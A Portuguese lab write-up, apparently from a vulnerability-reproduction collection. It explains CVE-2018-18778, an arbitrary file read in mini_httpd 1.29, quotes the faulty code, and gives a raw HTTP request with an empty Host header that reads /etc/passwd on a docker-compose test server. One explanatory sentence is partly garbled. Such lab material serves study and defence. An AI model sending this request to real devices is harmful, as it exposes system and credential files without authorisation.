
Exploit de PoC para CVE-2018-18778: leitura arbitrária de arquivos no mini_httpd 1.29 por meio de cabeçalho Host vazio, afetando dispositivos IoT da Huawei, Zyxel e outros.
Mini_httpd é um servidor HTTP mínimo que, consumindo poucos recursos do sistema, consegue manter um certo nível de desempenho (cerca de 90% do Apache); por isso, é amplamente utilizado por diversos dispositivos IoT (roteadores, switches, câmeras, etc.) como servidor embarcado. Fabricantes como Huawei, Zyxel, Hikvision e Raspberry Pi já adotaram o componente Mini_httpd em seus dispositivos.
Quando o mini_httpd está com o modo de host virtual ativado, uma requisição do usuário http://HOST/FILE acessará o arquivo HOST/FILE no diretório atual.
(void) snprintf( vfile, sizeof(vfile), "%s/%s", req_hostname, f );
Veja o código acima. A análise é a seguinte:
example.com, FILE=index.html, o resultado da instrução acima é example.com/index.html, e o arquivo é lido normalmente.etc/passwd, o resultado da instrução acima é /etc/passwd.Neste último caso, ele é tratado como um caminho absoluto, e portanto é possível ler /etc/passwd, resultando na vulnerabilidade de leitura arbitrária de arquivos.
Execute o seguinte comando para iniciar o mini_httpd 1.29:
docker-compose up -d
Após a inicialização do ambiente, acesse http://your-ip:8080 para visualizar a página web.
Ao enviar a requisição, defina o Host como vazio e o valor de PATH como o caminho absoluto do arquivo:
GET /etc/passwd HTTP/1.1
Host:
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Leitura do arquivo bem-sucedida:
